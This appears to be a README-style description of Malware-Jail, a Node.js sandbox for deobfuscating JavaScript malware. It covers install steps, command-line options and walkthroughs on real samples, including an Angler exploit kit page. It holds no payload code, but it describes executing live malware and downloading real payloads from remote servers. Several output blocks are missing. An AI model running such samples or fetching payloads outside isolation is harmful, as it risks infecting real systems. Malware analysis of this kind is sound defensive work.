Malware-Jail - Tool For Javascript Malware Analysis, Deobfuscation and Payload Extraction


Malware-Jail is a Sandbox for semi-automatic Javascript malware analysis, deobfuscation and payload extraction. It is written for Node.js.

It runs on any operating system. Developed and tested on Linux, Node.js v6.6.0.

Note: Due to use of some ES6 features, you'll need Node.js >= 6.x.

Malware-Jail is written for Node's 'vm' sandbox. Currently implements WScript (Windows Scripting Host) context  env/wscript.js , at least the part frequently used by malware. Internet browser context is partialy implemented  env/browser.js .


How To Install Malware-Jail

You'll need Node.js and npm installed. Because malware-jail is built on top of minimist, iconv-lite and entities.

Pull from GitHub

Pull the source with git:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Then install all the dependecies (minimist, entities, iconv-lite) with:
npm install


Usage

bash@linux# node jailme.js -h -b list
7 May 20:54:52 - mailware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. use alternative config file, preceed with ./
7 May 20:54:52 - -e ifile ... js that simulates specific environment
7 May 20:54:52 - -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 - -s odir ... output directory for generated files (malware payload)
7 May 20:54:52 - -b id ... browser type, use -b list for possible values
7 May 20:54:52 - -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 - --trace ... print stack trace with every log line
7 May 20:54:52 - --down ... allow downloading malware payloads from remote servers
7 May 20:54:52 - --h404 ... on download return always HTTP/404
7 May 20:54:52 - malware ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

In the examples folder you may find a deactivated malware file. Run the analysis with:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

Internet browser based malware you may test with
node jailme.js -b IE11_W10 malware/example_browser.js

At the end of the analysis the complete sandbox context is dumped into a 'sandbox_dump_after.json' file.

You may want to examine following entries of 'sandbox_dump_after.json':
  • eval_calls - array of all eval() calls arguments. Useful if eval() is used for deobfucation.
  • wscript_saved_files - content of all files that the malware attempted to drop. The actual files are saved into the output/ directory too.
  • wscript_urls - all URLs that the malware intended to GET or POST.
  • wscript_objects - WScript or ActiveX objects created.
'sandbox_dump_after.json' uses JSONPath, implemented by JSON-js/cycle.js, to save duplicated or cyclic references to a same object.

Examples

The malware folder contains real-world malware samples. Most of them downloaded from https://malwr.com.


Example: Analysing Wileen.js

Taking malicious script from malwr.com: Wileen.js

Apparently the malware does not execute if run from within a browser:
if (typeof document == "undefined") {

Therefore you may want to use an alternate config filem which does not load browser/DOM components:
node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js

Interesting use of Powershell:

1 Oct 13:05:34 - The sandbox context has been saved to: sandbox_dump_after.json


Example: Analysing ORDER-10455.js

Taking malicious JavaScript from malwr.com: ORDER-10455.js

First run without interaction with remote servers:
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js

you get something like:

Seems to be a "standard" behaviour of deobfuscation in order to finally download an exe binary and execute it.

If we want to get the real payload, run it with '--down=y':
node jailme.js --down=y  malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out

Behaviour is obvious from the log. Payload has been extracted into the output/TemporaryFolder_TempFile[15] file.


Example: Analysing Angler EK

Download and extract Angler EK from a pcap file at ANGLER EK SENDS CRYPTOWALL into a malware/angler/angler_full.html.

Strip the non Angler part and save as malware/angler/angler_stripped.html.

Remove  tags and convert required 
  tags into:
document._addElementById(id, content);
and save as malware/angler/angler.js.

Run the analysis:
node jailme.js malware/angler/angler.js

Eventually capture the output into angler_output.txt:
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt
